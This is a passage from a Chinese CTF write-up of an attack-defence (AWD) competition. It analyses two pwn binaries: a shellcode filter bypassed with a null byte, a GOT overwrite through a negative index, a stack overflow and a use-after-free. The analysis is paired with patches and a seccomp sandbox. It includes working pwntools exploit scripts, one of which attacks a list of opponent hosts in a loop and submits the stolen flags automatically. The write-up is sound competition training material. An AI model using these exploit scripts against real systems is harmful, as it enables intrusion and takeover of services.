人生中第一次正式的线下比赛,也是第一场AWD比赛.rank8完赛,对于我来说已经很满足了.
第一次参赛,一开始不是很会操作导致浪费了几轮攻击积机会,后来慢慢适应了比赛模式一路冲榜
本次两道web和两道pwn,我们的排名几乎都是靠pwn打的
官方会给每个队伍提供一个路由器用于连接本队专属的服务器,pwn和web服务被部署在服务器中.队内的人都可以通过ssh连接服务器并修改文件(pwn的服务固定放置在9999端口,web不清楚)
每轮主办方都会对pwn和web服务进行check:检测服务是否正常运行,所以我们不能对文件进行"魔改",如果哪个字符串回显失败/流程卡住了,主办方就会判断你没有正常防御,会对你进行大量扣分的操作
如果实在修不好服务,可以选择让本队的服务器下线(down),这样虽然过不了check会扣分,但是其他队伍也无法通过攻击你的服务获得flag
我们要在修补elf的同时对其他队伍的服务器进行攻击,并提交flag得分.每10分钟主办方会刷新一次flag,所以每十分钟就要跑一次攻击脚本,但是patch好的文件会一直存在.所以合适的流程是:
由于队伍比较多,每次获得的flag最好使用post报文提交.

在init中先开辟了一片rwx空间0x111000
然后进入菜单

其中trick选项
可以看出题目的预期是让用户输入0x100的可见字符shellcode,复制到0x111000处并执行
如果shellode不处于可见字符便会报错并返回.
这里边出现了第一个漏洞点,shellcode的长度使用strlen检测
如果我们的shellcode中出现了\x00就会导致\x00后面的shellcode不会被检测
我在现场使用了push 0({ 0x6A, 0x00 })对shellcode进行了绕过,后面就是任意代码执行了
当然,使用ae64库对shellcode进行转化也是可以的
在treat选项中,我们会发现
这里的v2是个int且未进行检查,dword_40B0是个全局变量
我们可以通过简单的计算,修改位于dword_40B0低地址处的got表:在got表减去任意的数值
这样做我们就可以直接修改函数的地址
当我们输入的v2为-4,-5,-6时,可以对fgets,strlen,printf的got表进行修改
如果我们将strlen修改为system,再在trick中输入"/bin/sh"或"cat /flag/flag"便可以getshell/flag
关于fgets.got和printf.got的利用比较困难,如果写入one_gadget会发现寄存器总是调整不对
本道题由于属于栈相关,我使用了evilPatcher为程序增加了open,openat,fstat,execve,mmap和execveat的沙箱,这样任意代码执行无论如何也无法get flag(我认为是这道题最全面的防御)
github中的evilpatcher项目
将沙箱规则设置如下
通过checksec发现这道题的保护非常少
在main函数中可以看出是个菜单
其中send函数要求我们输入IP+port,并可以输入0x500字节的数据
最终整个IP+PORT+CONTXT结构体被保存在全局变量msgHistory中
在receive中
可以看到发现context被无检查地memcpy到了dest中
且dest缓冲区远小于0x500,此处我们有一个非常大的栈溢出可以使用
我们可以选择ret2libc,也可以使用magic_gadget一次打完
将printf的got表修改为one_gadget并调用printf触发execve
在选项4的connMngr中,我们可以看到二级菜单
在delet中,我们发现
存在明显的uaf漏洞
在edit中
new_lenth由我们自己传入数字,可以任意长度堆溢出
uaf和堆溢出均可以单独写成利用脚本,我现场比较慌张,于是结合这两个漏洞写了个比较复杂的脚本
可以将memcpy的第三个参数
通过gdb调试可以发现,设置rdx时

如果我们将设置rdx的汇编修改为mov rdx,r8就可以防止栈溢出了
同理使用gdb调试查看堆溢出发生时的寄存器帧

发现r8和r9内的数字很小,不存在溢出的风险
所以将此处修改为mov rdx,r8就可以
直接将free给nop掉
buf = 0LL;
v20 = 0LL;
v21 = 0LL;
v22 = 0LL;
v23 = 0LL;
v24 = 0LL;
v25 = 0LL;
v26 = 0LL;
v27 = 0LL;
v28 = 0LL;
v29 = 0LL;
v30 = 0LL;
v31 = 0LL;
v32 = 0LL;
v33 = 0LL;
v34 = 0LL;
v35 = 0LL;
v36 = 0LL;
v37 = 0LL;
v38 = 0LL;
v39 = 0LL;
v40 = 0LL;
v41 = 0LL;
v42 = 0LL;
v43 = 0LL;
v44 = 0LL;
v45 = 0LL;
v46 = 0LL;
v47 = 0LL;
v48 = 0LL;
v49 = 0LL;
v50 = 0LL;
puts("Emmmmmm...... Prank Time!");
read(0, &buf, 0x100uLL);
for ( i = 0; i < strlen((const char *)&buf); ++i )
{
if ( (*((char *)&buf + i) <= '/' || *((char *)&buf + i) > '9')
&& (*((char *)&buf + i) <= '@' || *((char *)&buf + i) > 'Z')
&& (*((char *)&buf + i) <= '`' || *((char *)&buf + i) > 'z') )
{
printf("nauty!%c\n", (unsigned int)*((char *)&buf + i));
return __readfsqword(0x28u) ^ v51;
}
}
secret = Secret;
v1 = v20;
*(_QWORD *)Secret = buf;
*((_QWORD *)secret + 1) = v1;
v2 = v22;
*((_QWORD *)secret + 2) = v21;
*((_QWORD *)secret + 3) = v2;
v3 = v24;
*((_QWORD *)secret + 4) = v23;
*((_QWORD *)secret + 5) = v3;
v4 = v26;
*((_QWORD *)secret + 6) = v25;
*((_QWORD *)secret + 7) = v4;
v5 = v28;
*((_QWORD *)secret + 8) = v27;
*((_QWORD *)secret + 9) = v5;
v6 = v30;
*((_QWORD *)secret + 10) = v29;
*((_QWORD *)secret + 11) = v6;
v7 = v32;
*((_QWORD *)secret + 12) = v31;
*((_QWORD *)secret + 13) = v7;
v8 = v34;
*((_QWORD *)secret + 14) = v33;
*((_QWORD *)secret + 15) = v8;
v9 = v36;
*((_QWORD *)secret + 16) = v35;
*((_QWORD *)secret + 17) = v9;
v10 = v38;
*((_QWORD *)secret + 18) = v37;
*((_QWORD *)secret + 19) = v10;
v11 = v40;
*((_QWORD *)secret + 20) = v39;
*((_QWORD *)secret + 21) = v11;
v12 = v42;
*((_QWORD *)secret + 22) = v41;
*((_QWORD *)secret + 23) = v12;
v13 = v44;
*((_QWORD *)secret + 24) = v43;
*((_QWORD *)secret + 25) = v13;
v14 = v46;
*((_QWORD *)secret + 26) = v45;
*((_QWORD *)secret + 27) = v14;
v15 = v48;
*((_QWORD *)secret + 28) = v47;
*((_QWORD *)secret + 29) = v15;
v16 = v50;
*((_QWORD *)secret + 30) = v49;
*((_QWORD *)secret + 31) = v16;
Secret();
buf = 0LL;
v20 = 0LL;
v21 = 0LL;
v22 = 0LL;
v23 = 0LL;
v24 = 0LL;
v25 = 0LL;
v26 = 0LL;
v27 = 0LL;
v28 = 0LL;
v29 = 0LL;
v30 = 0LL;
v31 = 0LL;
v32 = 0LL;
v33 = 0LL;
v34 = 0LL;
v35 = 0LL;
v36 = 0LL;
v37 = 0LL;
v38 = 0LL;
v39 = 0LL;
v40 = 0LL;
v41 = 0LL;
v42 = 0LL;
v43 = 0LL;
v44 = 0LL;
v45 = 0LL;
v46 = 0LL;
v47 = 0LL;
v48 = 0LL;
v49 = 0LL;
v50 = 0LL;
puts("Emmmmmm...... Prank Time!");
read(0, &buf, 0x100uLL);
for ( i = 0; i < strlen((const char *)&buf); ++i )
{
if ( (*((char *)&buf + i) <= '/' || *((char *)&buf + i) > '9')
&& (*((char *)&buf + i) <= '@' || *((char *)&buf + i) > 'Z')
&& (*((char *)&buf + i) <= '`' || *((char *)&buf + i) > 'z') )
{
printf("nauty!%c\n", (unsigned int)*((char *)&buf + i));
return __readfsqword(0x28u) ^ v51;
}
}
secret = Secret;
v1 = v20;
*(_QWORD *)Secret = buf;
*((_QWORD *)secret + 1) = v1;
v2 = v22;
*((_QWORD *)secret + 2) = v21;
*((_QWORD *)secret + 3) = v2;
v3 = v24;
*((_QWORD *)secret + 4) = v23;
*((_QWORD *)secret + 5) = v3;
v4 = v26;
*((_QWORD *)secret + 6) = v25;
*((_QWORD *)secret + 7) = v4;
v5 = v28;
*((_QWORD *)secret + 8) = v27;
*((_QWORD *)secret + 9) = v5;
v6 = v30;
*((_QWORD *)secret + 10) = v29;
*((_QWORD *)secret + 11) = v6;
v7 = v32;
*((_QWORD *)secret + 12) = v31;
*((_QWORD *)secret + 13) = v7;
v8 = v34;
*((_QWORD *)secret + 14) = v33;
*((_QWORD *)secret + 15) = v8;
v9 = v36;
*((_QWORD *)secret + 16) = v35;
*((_QWORD *)secret + 17) = v9;
v10 = v38;
*((_QWORD *)secret + 18) = v37;
*((_QWORD *)secret + 19) = v10;
v11 = v40;
*((_QWORD *)secret + 20) = v39;
*((_QWORD *)secret + 21) = v11;
v12 = v42;
*((_QWORD *)secret + 22) = v41;
*((_QWORD *)secret + 23) = v12;
v13 = v44;
*((_QWORD *)secret + 24) = v43;
*((_QWORD *)secret + 25) = v13;
v14 = v46;
*((_QWORD *)secret + 26) = v45;
*((_QWORD *)secret + 27) = v14;
v15 = v48;
*((_QWORD *)secret + 28) = v47;
*((_QWORD *)secret + 29) = v15;
v16 = v50;
*((_QWORD *)secret + 30) = v49;
*((_QWORD *)secret + 31) = v16;
Secret();
from pwn import *
from ae64 import AE64
import requests
hosts=[ '10.103.1.3', '10.103.2.3', '10.103.3.3', '10.103.4.3', '10.103.5.3', '10.103.6.3', '10.103.7.3', '10.103.8.3', '10.103.9.3', '10.103.10.3', '10.103.11.3', '10.103.12.3', '10.103.13.3', '10.103.14.3', '10.103.15.3', '10.103.16.3', '10.103.17.3', '10.103.18.3', '10.103.19.3', '10.103.20.3', '10.103.21.3', '10.103.22.3', '10.103.23.3', '10.103.25.3', '10.103.26.3', '10.103.27.3', '10.103.28.3', '10.103.29.3', '10.103.30.3']
for i in hosts:
try:
io=remote(f"{i}",9999)
libc=ELF('./libc.so.6')
context.arch='amd64'
def bug():
gdb.attach(io)
def t1(sc):
io.sendlineafter(b"Halloween is coming, momo wants candy.......",b"1")
io.sendafter(b"Emmmmmm...... Prank Time!",sc)
payload=asm("push 0"+shellcraft.cat("/flag/flag"))
t1(payload)
t=io.recvuntil(b"flag",timeout=3)
flag=io.recvuntil(b"}",timeout=3)
flag=flag.decode()
flag=f"flag{flag}"
url = b"a9cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1j5I4x3q4)9J5k6e0p5H3i4K6u0W2x3U0k6Q4x3X3f1$3i4K6u0r3j5i4m8A6i4K6u0r3j5i4N6V1i4K6u0r3j5X3q4@1j5$3S2Q4y4h3k6X3L8r3q4Y4i4K6u0r3"
headers = {"Content-Type":"application/json"}
data ={"token":"87caca98ffb1d59926e65b7fbdc61462","flag":flag,"pk":"166f8e1b83cd20e2cc1a813383e9d1b6"}
res = requests.post(url=url,headers=headers,json=data,verify=False)
print(f"\n\n\n----------{i}-{res.text}-{flag}\n\n\n\n")
except Exception as e:
print(f"\n\n\n----------{i}-{e}\n\n\n\n")
io.close()
from pwn import *
from ae64 import AE64
import requests
hosts=[ '10.103.1.3', '10.103.2.3', '10.103.3.3', '10.103.4.3', '10.103.5.3', '10.103.6.3', '10.103.7.3', '10.103.8.3', '10.103.9.3', '10.103.10.3', '10.103.11.3', '10.103.12.3', '10.103.13.3', '10.103.14.3', '10.103.15.3', '10.103.16.3', '10.103.17.3', '10.103.18.3', '10.103.19.3', '10.103.20.3', '10.103.21.3', '10.103.22.3', '10.103.23.3', '10.103.25.3', '10.103.26.3', '10.103.27.3', '10.103.28.3', '10.103.29.3', '10.103.30.3']
for i in hosts:
try:
io=remote(f"{i}",9999)
libc=ELF('./libc.so.6')
context.arch='amd64'
def bug():
gdb.attach(io)
def t1(sc):
io.sendlineafter(b"Halloween is coming, momo wants candy.......",b"1")
io.sendafter(b"Emmmmmm...... Prank Time!",sc)
payload=asm("push 0"+shellcraft.cat("/flag/flag"))
t1(payload)
t=io.recvuntil(b"flag",timeout=3)
flag=io.recvuntil(b"}",timeout=3)
flag=flag.decode()
flag=f"flag{flag}"
url = b"af7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1j5I4x3q4)9J5k6e0p5H3i4K6u0W2x3U0k6Q4x3X3f1$3i4K6u0r3j5i4m8A6i4K6u0r3j5i4N6V1i4K6u0r3j5X3q4@1j5$3S2Q4y4h3k6X3L8r3q4Y4i4K6u0r3"
headers = {"Content-Type":"application/json"}
data ={"token":"87caca98ffb1d59926e65b7fbdc61462","flag":flag,"pk":"166f8e1b83cd20e2cc1a813383e9d1b6"}
res = requests.post(url=url,headers=headers,json=data,verify=False)
print(f"\n\n\n----------{i}-{res.text}-{flag}\n\n\n\n")
except Exception as e:
print(f"\n\n\n----------{i}-{e}\n\n\n\n")
io.close()
_DWORD *treat()
{
int v0;
_DWORD *result;
int v2;
v2 = readint();
puts("Which kind of candy do you want to give to momo?");
printf("%s?", &candyList[24 * v2]);
printf("How many?");
v0 = dword_40B0[6 * v2] - readint();
result = dword_40B0;
dword_40B0[6 * v2] = v0;
return result;
}
_DWORD *treat()
{
int v0;
_DWORD *result;
int v2;
v2 = readint();
puts("Which kind of candy do you want to give to momo?");
printf("%s?", &candyList[24 * v2]);
printf("How many?");
v0 = dword_40B0[6 * v2] - readint();
result = dword_40B0;
dword_40B0[6 * v2] = v0;
return result;
}
from pwn import *
io=process('./pwn')
libc=ELF('./libc.so.6')
io.sendlineafter(b"Halloween is coming, momo wants candy.......",b"1")
io.sendafter(b"Emmmmmm...... Prank Time!",b"\x01")
io.sendline(b"2")
io.sendline(b"-6")
gdb.attach(io)
print(hex(libc.sym.system+0x7ffff7dd5000))
io.sendlineafter(b"How many?",str(0x136670).encode())
io.sendline(b"1")
io.sendline(b"/bin/sh\x00")
io.interactive()
from pwn import *
io=process('./pwn')
libc=ELF('./libc.so.6')
io.sendlineafter(b"Halloween is coming, momo wants candy.......",b"1")
io.sendafter(b"Emmmmmm...... Prank Time!",b"\x01")
io.sendline(b"2")
io.sendline(b"-6")
gdb.attach(io)
print(hex(libc.sym.system+0x7ffff7dd5000))
io.sendlineafter(b"How many?",str(0x136670).encode())
io.sendline(b"1")
io.sendline(b"/bin/sh\x00")
io.interactive()
A = sys_number
A >= 0x40000000 ? dead : next
A == execve ? dead : next
A == open ? dead : next
A == openat ? dead : next
A == execveat ? dead : next
A == mmap ? dead : next
A == fstat ? dead : next
return ALLOW
dead:
return KILL
A = sys_number
A >= 0x40000000 ? dead : next
A == execve ? dead : next
A == open ? dead : next
A == openat ? dead : next
A == execveat ? dead : next
A == mmap ? dead : next
A == fstat ? dead : next
return ALLOW
dead:
return KILL
zer00ne@zer00ne-virtual-machine:~/Desktop/AWD/1$ checksec pwn
[*] '/home/zer00ne/Desktop/AWD/1/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
zer00ne@zer00ne-virtual-machine:~/Desktop/AWD/1$ checksec pwn
[*] '/home/zer00ne/Desktop/AWD/1/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
void __fastcall __noreturn real_main(const char *Failed_to_send_message, const void *buf)
{
size_t n;
int flags;
while ( 1 )
{
menu();
switch ( (unsigned int)readint(Failed_to_send_message, buf) )
{
case 1u:
if ( (unsigned int)send((int)Failed_to_send_message, buf, n, flags) == -1 )
{
Failed_to_send_message = "Failed to send message";
puts("Failed to send message");
}
break;
case 2u:
receive();
break;
case 3u:
get_history();
break;
case 4u:
connMngr();
break;
case 5u:
safe_exit();
default:
Failed_to_send_message = "Invalid option. Please try again.";
puts("Invalid option. Please try again.");
break;
}
}
}
void __fastcall __noreturn real_main(const char *Failed_to_send_message, const void *buf)
{
size_t n;
int flags;
while ( 1 )
{
menu();
switch ( (unsigned int)readint(Failed_to_send_message, buf) )
{
case 1u:
if ( (unsigned int)send((int)Failed_to_send_message, buf, n, flags) == -1 )
{
Failed_to_send_message = "Failed to send message";
puts("Failed to send message");
}
break;
case 2u:
receive();
break;
case 3u:
get_history();
break;
case 4u:
connMngr();
break;
case 5u:
safe_exit();
default:
Failed_to_send_message = "Invalid option. Please try again.";
puts("Invalid option. Please try again.");
break;
}
}
}
ssize_t send(int fd, const void *buf, size_t n, int flags)
{
__int64 v5;
__int64 v6;
void *s;
int i;
s = malloc(0x28uLL);
if ( s )
{
memset(s, 0, 0x28uLL);
*(_QWORD *)s = malloc(0x10uLL);
if ( *(_QWORD *)s )
{
*(_DWORD *)(*(_QWORD *)s + 8LL) = 0x7F000001;
*(_WORD *)(*(_QWORD *)s + 12LL) = 8080;
**(_QWORD **)s = &unk_403230;
puts("Enter destination IP address:");
*((_QWORD *)s + 1) = malloc(0x10uLL);
if ( *((_QWORD *)s + 1) )
{
v5 = *((_QWORD *)s + 1);
*(_DWORD *)(v5 + 8) = inet_addr((const char *)0x10);
if ( *(_DWORD *)(*((_QWORD *)s + 1) + 8LL) == -1 )
{
puts("Invalid destination IP address. Exiting send operation.");
free(s);
return 0xFFFFFFFFLL;
}
else
{
printf("Enter destination port (default is 8080): ");
v6 = *((_QWORD *)s + 1);
*(_WORD *)(v6 + 12) = htons((uint16_t)"Enter destination port (default is 8080): ");
**((_QWORD **)s + 1) = &unk_403230;
printf("Msg: ");
*((_QWORD *)s + 3) = readn();
if ( *((_QWORD *)s + 3) )
{
*((_DWORD *)s + 4) = strlen(*((const char **)s + 3));
if ( *((_DWORD *)s + 4) )
{
*((_DWORD *)s + 8) = 0;
for ( i = 0; i <= 15; ++i )
{
if ( !msgHistory[i] )
{
msgHistory[i] = s;
puts("Message stored!");
return 0LL;
}
}
free(*(void **)s);
free(*((void **)s + 1));
free(*((void **)s + 3));
free(s);
return 0xFFFFFFFFLL;
}
else
{
puts("Message cannot be empty. Exiting send operation.");
free(*((void **)s + 3));
free(s);
return 0xFFFFFFFFLL;
}
}
else
{
puts("Failed to read message. Exiting send operation.");
free(s);
return 0xFFFFFFFFLL;
}
}
}
else
{
perror("Failed to allocate memory for destination connection");
free(*(void **)s);
free(s);
return 0xFFFFFFFFLL;
}
}
else
{
perror("Failed to allocate memory for source connection");
free(s);
return 0xFFFFFFFFLL;
}
}
else
{
perror("Failed to allocate memory for MsgHandler");
return 0xFFFFFFFFLL;
}
}
ssize_t send(int fd, const void *buf, size_t n, int flags)
{
__int64 v5;
__int64 v6;
void *s;
int i;
s = malloc(0x28uLL);
if ( s )
{
memset(s, 0, 0x28uLL);
*(_QWORD *)s = malloc(0x10uLL);
if ( *(_QWORD *)s )
{
*(_DWORD *)(*(_QWORD *)s + 8LL) = 0x7F000001;
*(_WORD *)(*(_QWORD *)s + 12LL) = 8080;
**(_QWORD **)s = &unk_403230;
puts("Enter destination IP address:");
*((_QWORD *)s + 1) = malloc(0x10uLL);
if ( *((_QWORD *)s + 1) )
{
v5 = *((_QWORD *)s + 1);
*(_DWORD *)(v5 + 8) = inet_addr((const char *)0x10);
if ( *(_DWORD *)(*((_QWORD *)s + 1) + 8LL) == -1 )
{
puts("Invalid destination IP address. Exiting send operation.");
free(s);
return 0xFFFFFFFFLL;
}
else
{
printf("Enter destination port (default is 8080): ");
v6 = *((_QWORD *)s + 1);
*(_WORD *)(v6 + 12) = htons((uint16_t)"Enter destination port (default is 8080): ");
**((_QWORD **)s + 1) = &unk_403230;
printf("Msg: ");
*((_QWORD *)s + 3) = readn();
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!
最后于 2025-8-26 14:33
被zer00ne编辑
,原因: